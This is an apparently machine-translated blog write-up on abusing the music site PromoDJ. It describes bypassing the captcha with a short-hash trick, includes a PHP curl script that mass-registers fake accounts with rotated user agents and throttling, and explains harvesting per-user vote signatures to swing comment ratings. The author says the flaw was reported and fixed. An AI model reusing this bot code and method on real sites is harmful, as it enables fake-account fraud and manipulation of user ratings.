PromoDJを正義に使用する

画像 こんにちは 昨日私に起こった話を共有したいのですが、まず最初に。







内容



  1.はじめに
 2.可能な活動
	 2.1。 プロモーション値のラッピング
	 2.2。 スパム
	 2.3。 コメントに投票する
 3.実装方法
 4.アカウントを登録する準備
	 4.1。 基本情報
	 4.2。 キャプチャ
	 4.3。 メールアドレス
	 4.4。 定数
 5.スクリプトとその作業
	 5.1。 アカウントレジストラ
	 5.2。 承認者
	 5.3。 ユーザー署名の取得
	 5.4。 ユーザー署名シェル
 6.結論
	 6.1。 作業結果
	 6.2。  PromoDJ管理者の対応
	 6.3。 最後の言葉
 7.ツールキット 


はじめに



あなたの多くは、PromoDJポータル(略してPDJ)の存在を知っていると思います。PDJは、それに慣れていない-大丈夫です、今、すべてを説明します。 このサイトはミュージシャン、DJ、写真家、歌手向けのソーシャルネットワークであり、評価のために素材をアップロードしたり、この素材を評価および議論するための登録ユーザーがいる他の人にとってはたくさんあります。 PDJは初心者の音楽プロジェクトに最適なプラットフォームであるため、登録されています。



本質的に、私は非常に好奇心が強い人であり、それが何でどのように機能するのか、防御のどの穴がどのように使用できるのか、自由時間があるのか​​を常に知りたいと思っていたので、PDJが研究対象として選ばれました。 しかし、研究を始める前に、私は座って、「そして、これからどんな利益が得られるのだろうか」と考えました。



私自身、いくつかの領域を特定しました。
  1. 値promorankをラップします。
  2. スパム
  3. コメントに投票してください。
私は後者に落ち着いたとすぐに言わなければなりませんが、すべての方向を説明します。



可能な活動



プロモーション値のラッピング


Promorankは、クールさの個人的な評価であり、アーティストの共通のトップ、スタイルおよびアクティビティ別のトップを形成するために使用されます。 この値の不正行為は、私たちに何も与えません:音楽の品質は変わらず、イデオロギーは増加せず、訪問者とリスニングの数も増加しません。また、PDJの最近のイノベーションの後、評価を上げることは理論的に不可能になりました。 事実、最近、1人または別のアーティストに投票し、それによって彼のプロモーションを増やすには、アカウントを認証する必要があります。そのためには、切望されるコードの送信先の携帯電話番号を指定する必要があります。





スパム
彼は、この活動の行を追加して、ポイントを増やしました。 私はスパムが好きではないので、あなたもそう思うので、私はスパムを検討しません。そして一般的に私はこれが最も汚くて最低のものだと思います。





コメントに投票する


PromoDJは何よりもソーシャルネットワークです。ここでは、人々はコメント、ブログ投稿、評価コメントを通じて自由に意見や態度を表現できます。



コメントを評価することを考えた後、私は異なる角度から起こっているすべてを見ていたようです。 最近、私はPDJフォーラムで議論に会い始めました。そこでは、1人または2人のユーザーがコメントに対して不公平に短所を受けましたが、1人ではなく2人ではなく、約20人ですコメントは-100を超えました。 これらの考えの後、私はスーパーマンになり、コメントの格付けを変更するライセンスを持つジェームズ・ボンドのバットマンとロビンになることを決めました。正義のための戦闘機、夜の翼に飛んでいるホラー、月の名のもとでの報復。



適切で絶対的に正しい(議論から)解説の鮮明な例:

少し後で、同じコメント:



実装方法



水泳パンツ、マスク、黒いレインコートで街を走り始める前に、私はあなたがどのように計画を実現することができ、どの方向からこれに近づくのが良いかを研究することにしました。 そのとき、ページのリロードなしでコメントの評価を増減するリクエストが来ることを知っていました。つまり、サーバーにリクエストを生成または送信する、または取得する何らかの種類のjavascriptライブラリが使用されたことを意味します。 PDJ。



よく見てみましょう:

次のパラメーターがPOST要求で渡されます。





ここで、ダイジェストは、登録ユーザーごとに一意のパラメーター(場合によっては署名と呼びます)で、idユーザーと32文字のハッシュで構成されています。 commentID-コメント番号。 投票-評価モード、「1」-プラスコメント、「-1」-マイナスコメント。



次に、サイトでのユーザーセッションを終了し、コメントに投票しようとしましたが、実際には成功しました。 私にとっては大きな意味がありました。たとえば、特定のコメントに投票するためにサイトにログインする必要がないことはわかっていました。すべては3つのパラメーターを持つ1つのリクエストで行われました。



必要な知識はすべて得られましたが、ダイジェストに関する質問がありました-一意のユーザー識別子、音声は無効な署名に渡されず、1つの署名を使用すると、選択したコメントに1回だけ投票できます。 私が見つけた適切で唯一の方法は、投票に署名を使用するためにいくつかの偽のアカウントを登録することでした。



アカウント登録の準備



基本情報


PromoDJの登録ページは非常に大きく見えます。あらゆる種類のアイテム、入力要素、選択、チェックボックスがたくさんあります。 経験的に、登録を成功させるにはどのパラメーターを渡す必要があるかをすぐに判断しました。

$ postfiends = array

"row [login]" => "" //ログイン

"row [password1]" => "" //パスワード

"row [password2]" => "" //パスワード、もう一度

"row [email]" => "" //電子メール

"row [i]" => "" //名前

"row [f]" => "" //姓

"row [sex]" => "" //性別、おそらく男性または女性

"row [iam_clubber]" => "1" //ステータス:clubber

"row [iam_listener]" => "1" //ステータス:リス​​ナー

"crow [company_kind]" => "none" //いいえ、私は会社を代表していません



"crow [title]" => "" //組織の名前

"crow [countryID]" => "3159" //国コード

"crow [regionID]" => "0" //地域コード(指定なし)

"crow [cityID]" => "0" //都市コード(指定なし)

"crow [metroID]" => "0" //地下鉄駅コード(指定なし)

"crow [street]" => "" //通り、家

"crow [tel]" => "" //電話に連絡する

"crow [fax]" => "" //ファックス

"crow [www]" => "" //サイト



"row [styleID]" => "" //とりわけスタイルが大好き(リストのコード)

"row [nick]" => "" // nick

"row [title]" => "" // promodj.ruのページのアドレス

"row [about]" => "" //自分自身について

"row [icq]" => "" // icq

"row [skype]" => "" //スカイプ

"row [countryID]" => "3159" //国コード

"row [regionID]" => "0" //地域コード(指定なし)

"row [cityID]" => "0" //都市コード(指定なし)

"row [metroID]" => "0" //地下鉄駅コード(指定なし)

"row [invite]" => "" //マジックコード

"row [agreed]" => "1" //はい、サイトのルールに同意します

"respond" => "" // captchaに返信

"key" => "" //キャプチャハッシュ

;
「クラバー」および「リスナー」ステータスの選択は偶然ではなく、これらのステータスは管理者からの確認を必要とせず、この問題に特別な注意を払う必要はありません。 たとえば、「ミュージシャン」のステータスの確認を渡すために、アクティビティについて詳細に記述する必要があります。管理者が同じ説明でリクエストが次々と送信されるのを見ると不思議です。



キャプチャ


最後の段落であるアンケートの最後に行くと、テキストをひどく曲げて、静的な判断を難しくしているキャプチャを見つけます。



上で書いたように、登録のリクエストでは、キャプチャへの応答だけでなく、ハッシュ自体も送信されます。 同じハッシュが画像の生成に使用されます:

pdj.ru/captcha_big.gif?key=0ad241a541a4f2e8a7457138b6c2299e







ハッシュは一意であり、一度だけ登録できます。ハッシュを変更すると、画像のテキストが変更されます。 視覚的には、キャプチャからの答えをハッシュから取得できるアルゴリズムを決定できなかったため、さらに3つの開発ステップを提案しました。
  1. 有効なペア(ハッシュ+応答)で構成されるテーブルを作成します。
  2. ハッシュから応答を取得するためのアルゴリズムを決定してください。
  3. このタイプのキャプチャ認識実装を検索します。
有効なペア(ハッシュ+回答)で構成されるテーブルを作成します。非常に長く退屈で、さらに追加のスクリプトを作成する必要があります。このオプションは、ボランティアがいる場合にのみ検討できます。



ハッシュから答えを取得するためのアルゴリズムを決定しようとしています。ある種のハッシュアルゴリズムを使用できるため、ソルトを使用しても、実装がかなり難しいか、まったく不可能です。 オプションではありません。



このタイプのcaptchaの認識の実装を探してください。これは機能せず、同様のライブラリを使用しなかったため、このオプションを使用できます。



このトピックについて議論しているときに、ハッシュが32文字未満の場合、偶然、写真に4つのゼロがあることを発見し、これを判断して、このケースのスタブがPDJに値するかどうかを確認する必要があります。 これを行うには、ページコードで必要なパラメーターを変更し、新しいアカウントを正常に登録しました。



メールアドレス


電子メールのレジストラを検索せず、自分でメールを書いたり、データベースを販売している人を検索したり、友人や知人にトロイの木馬を送ったりしないことに決めました。 Yandexがすべてを行います。



定数


ほとんどすべてがアカウントを登録する準備ができており、不足しているデータを収集するために残っています:
  1. 登録する名前のリスト。
  2. 音楽スタイルのコード;
  3. 小さなユーザーエージェントリスト。
名前のリストとして、インターネット上で見つかった大きなニックネームデータベースを使用しました。 その他のデータ:
$ uagents = array

「Opera / 9.20(Windows NT 6.0; U; en)」

「Mozilla / 4.0(互換性あり; MSIE 6.0; Windows NT 5.1; en)Opera 8.50」

「Mozilla / 4.0(互換性あり; MSIE 6.0; MSIE 5.5; Windows NT 5.1)Opera 7.02 [en]」

「Mozilla / 5.0(Windows; U; Windows NT 5.1; en-US; rv:1.7.5)Gecko / 20060127 Netscape / 8.1」

「Mozilla / 5.0(X11; U; Linux i686; en-US; rv:1.8.1.1)Gecko / 20061205 Iceweasel / 2.0.0.1(Debian-2.0.0.1 + dfsg-2)」

"Opera / 10.00(X11; Linux i686; U; en)Presto / 2.2.0" ;



$ styles = explode ";" "88; 2; 4; 7; 6; 14; 31; 15; 18; 23; 25; 27; 28; 8; 24; 29; 30; 44; 46; 47; 49; 37; 1; 80; 16 " ;




スクリプトとその仕事



アカウントレジストラ


set_time_limit 0 ;

$ magic = 0 ;

$ i = 1 ;



$ fp = fopen 'names.txt' 'rb' ;

while $ line = @ fgets $ fp !== false {

// $ pdgparams = "";

$ postfiends [ "row [login]" ] = $ postfiends [ "row [password1]" ] = $ postfiends [ "row [password2]" ] = $ postfiends [ "row [nick]" ] = $ postfiends [ "row [ title] " ] = trim $行 ;

$ postfiends [ "row [email]" ] = $ postfiends [ "row [login]" ] "@ asdfghhgj.ru" ;

$ postfiends [ "row [sex]" ] = rand 0、1 "man" "woman" ;

$ postfiends [ "row [styleID]" ] = $ styles [ rand 0 sizeof $ styles -1 ] ;

$ postfiends [ "key" ] = $ magic + $ i ;



// foreach($ key_name => $ key_valueとして$ postfiends)

// $ pdgparams。= '&'。$ key_name。 '='。$ key_value;



$ ci = curl_init ;

curl_setopt $ ci CURLOPT_USERAGENT $ uagents [ rand 0 sizeof $ uagents -1 ] ;

curl_setopt $ ci CURLOPT_CONNECTTIMEOUT 30 ;

curl_setopt $ ci CURLOPT_TIMEOUT 30 ;

curl_setopt $ ci CURLOPT_RETURNTRANSFER TRUE ;

curl_setopt $ ci CURLOPT_POST TRUE ;

curl_setopt $ ci CURLOPT_POSTFIELDS $ postfiends ;

curl_setopt $ ci CURLOPT_URL 「pdj.ru/register/」 ;

curl_exec $ ci ;

curl_close $ ci ;



$ i ++;

睡眠 rand 5、25 ;

}


スクリプトの実行中に、登録成功の通知が受信されます。







承認者


疑念を引き起こさず、すべてのアカウントでさよならを言わないために、私は全員を承認することにしました。 これを行うために、メールクライアントからすべてのレターをエクスポートし、それらからリンクを引き出して、膨大な数のレコードのリストを取得しました。



ユーザー署名の取得


署名を取得するプロセスは、いくつかのステップで構成されていました。
  1. ログインページのフォームからのユーザー認証。
  2. PromoDJのメインページに移動します。
  3. ページコードからダイジェストパラメータを抽出します。
このプロセスには約2時間半から3時間かかりましたが、これはプラスです-私は禁止されたことはなく、管理者から違反に関する通知を受け取らず、アカウントはすべて削除されませんでした。



ユーザー署名シェル


コメントに投票するために、コメントのアドレスとその対処方法を指定できる便利なシェルを作成しました-プラスまたはマイナスを入れてください。





設定ページで、操作モードを指定できます。



自動モードでは、「実行」ボタンをクリックした後、利用可能なすべてのハッシュが指定されたコメントに投票されます;手動モードでは、リストから好きなハッシュを選択して投票することができます:





おわりに



作業結果




ランダムな善と愛も、PromoDJ全体にownかれました。



PromoDJ管理者の対応


ポータルのテクニカルサポートに手紙を送った後、私の好奇心のためにプレミアムアカウントとブランディングを提供してくれるという事実ですべてが終わるとは思いませんでした。これは音楽プロジェクトに役立ちます。







最後の言葉


アカウント登録が実行されたために説明された脆弱性は、私の手紙の数分後に閉じられました。



最後まで読んでくれてありがとう。 がんばって、新しい記事でお会いしましょう!



ツールキット



仕事の過程で使用された:




All Articles